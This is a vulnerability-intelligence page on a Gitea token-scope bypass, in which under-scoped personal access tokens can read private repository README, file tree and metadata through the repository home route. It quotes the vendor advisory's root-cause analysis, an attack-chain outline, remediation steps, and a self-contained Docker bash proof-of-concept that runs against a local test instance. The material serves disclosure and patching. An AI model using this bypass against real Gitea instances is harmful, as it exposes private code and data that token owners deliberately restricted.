Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain valid low-scope Gitea PAT (any non-repository scope)
-
DeliveryAuthenticate via HTTP Basic to GET /{owner}/{repo}
-
ExploitMissing CheckRepoScopedToken guard bypassed
-
ExecutionServer renders private repo home page
-
ImpactExtract README, file tree, and metadata from HTTP 200 response
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must possess a valid PAT or OAuth2 token issued on the target Gitea instance for an account that has read access to at least one private repository. The token must be either marked |
| Impact | The vendor-assigned CVSS 3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) accurately reflects the attack surface: network-accessible, low complexity, requiring only a valid token of any scope (PR:L), with partial confidentiality impact bounded to the repository root view. The PR:L rating is the critical limiting factor - an attacker must already possess a legitimate Gitea token issued for an account with access to the target private repository, making opportunistic mass exploitation unlikely. No EPSS data was provided in the intelligence feed, so exploitation probability cannot be quantified. KEV status is not confirmed, indicating no CISA-confirmed active exploitation at time of analysis. However, a self-contained Docker proof-of-concept reproducer is embedded in the vendor advisory, making the barrier to exploitation trivially low for any insider, compromised integration, or token-holder who understands the bypass. The |
| Exploit ScenarioDerived | An attacker holds a Gitea PAT scoped to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
Token scope enforcement is bypassed on Gitea's repository home page handler (repo.Home), exposing private repository README, root file/directory tree, description, language statistics, license, and latest-release data to any authenticated PAT or OAuth2 token that lacks the repository scope or is marked public-only. This is the third in a series of related incomplete fixes - CVE-2026-20706 and CVE-2026-27761 patched sibling routes (archive download and RSS/Atom feeds) but the home route was overlooked, leaving it without the CheckRepoScopedToken guard applied to every neighboring handler. Publicly available exploit code exists in the form of a self-contained Docker-based proof-of-concept published in the vendor advisory; no active exploitation has been confirmed by CISA KEV.
RemediationAI
Upgrade to Gitea v1.27.0, which resolves this token scope bypass; the release is available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. The upstream fix mirrors the pattern applied to sibling routes by adding context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read) at the entry of repo.Home in routers/web/repo/view_home.go, or equivalently as route middleware at routers/web/web.go:1256. No configuration toggle exists to disable AllowBasic on the home route without breaking go get resolution for private Go modules, so patching is the only complete remediation. As an interim compensating control, administrators should audit and revoke any public-only or narrowly-scoped tokens (e.g., read:issue, read:user) belonging to accounts with private repository access, reducing the token population that can exploit this route. Note that revoking tokens may break CI integrations relying on fine-grained scopes - coordinate with token owners before revocation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea's web router allows token authentication on select routes via explicit opt-in middleware (webAuth.AllowBasic / webAuth.AllowOAuth2). The GET /{owner}/{repo} route carries AllowBasic specifically to allow go get to resolve private Go modules. When a PAT or OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken=true and records ApiTokenScope on the session store. All neighboring content routes - raw/media/archive download (routers/web/repo/download.go:23), RSS/Atom feeds (routers/web/feed/render.go:15), release attachments (routers/web/repo/attachment.go:190), and git smart HTTP (routers/web/repo/githttp.go:161) - call context.CheckRepoScopedToken() to enforce that the token carries the repository scope and is not public-only. The repo.Home handler at routers/web/repo/view_home.go:389 (CWE-863: Incorrect Authorization) performs only checkHomeCodeViewable, which validates the user's repository permission but imposes no constraint on the token's declared scope. The affected package is pkg:go/code.gitea.io_gitea in versions prior to 1.27.0.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Requires a valid low-scope token (PR:L) for the target instance; confidentiality impact is partial, bounded to root repository view only.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Summary
A personal access token (PAT) or OAuth2 token that does not carry the repository scope or that is public-only is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route GET /{owner}/{repo} (handler repo.Home) serves the private repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token.
This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:
- GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
- GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds
repo.Home is the remaining token-auth-enabled content route that was not given the guard.
Details / Root cause
Web routes accept token authentication only when explicitly opted in with webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries AllowBasic (added so that go get can resolve private modules):
// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
repo.SetEditorconfigIfExists, repo.Home)When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken = true and records ApiTokenScope:
// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.ScopeThe patched sibling handlers all call the web-side scope guard context.CheckRepoScopedToken(...), which enforces both the public-only restriction and the repository scope:
routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g
routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww
routers/web/repo/attachment.go:190 (attachments / release assets, centralized)
routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8wrepo.Home (routers/web/repo/view_home.go:389) performs no such check. Its only gate is checkHomeCodeViewable, which verifies the user's permission and that the code unit is enabled neither of which constrains the token's scope. The README, file listing, and sidebar are then rendered. (The handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo view is not.)
Proof of Concept
Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to the source commit above). A private repository admin/secretrepo is created, and a token is minted with only the read:user scope (no repository scope).
=== anonymous baseline (repository is private) ===
anon GET /admin/secretrepo HTTP=404
=== same no-repo-scope token across routes ===
API repo get (proves token lacks repo scope) HTTP=403 canary=0
/admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0
/admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0
/admin/secretrepo.rss (control) HTTP=403 canary=0
/admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1A second token with scope public-only,read:repository behaves identically: /archive → 403, but /admin/secretrepo → 200 and returns the private content.
canary=1 means the private README marker was returned in the HTML response; the private file name SECRET.md is also disclosed in the rendered file tree.
Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):
#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
-e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
-e GITEA__server__ROOT_URL=http://localhost:3000/ \
-e GITEA__service__DISABLE_REGISTRATION=true \
-p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
[ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
--password "$PW" --email admin@example.com --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
-H 'Content-Type: application/json' \
-d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
| python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
-H 'Content-Type: application/json' \
-d '{"content":"'"$(printf '
# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
--scopes read:user --token-name norepo --raw | tail -1)
echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/nullImpact
Any holder of a non-repository-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only read:issue, or a public-only token issued to a third-party integration).
The disclosure is bounded to the repository root view because the deeper /{owner}/{repo}/src/* routes do not enable AllowBasic.
Suggested remediation
Mirror the sibling handlers: at the start of repo.Home (routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256, add:
context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
return
}It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that render repository data for the same omission notably actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a private repository's workflow build status (pass/fail) to a token without the repository scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-58171
GHSA-cp3q-vrj2-ghhh
NVD
CVE.org
EPSS
Exploit-DB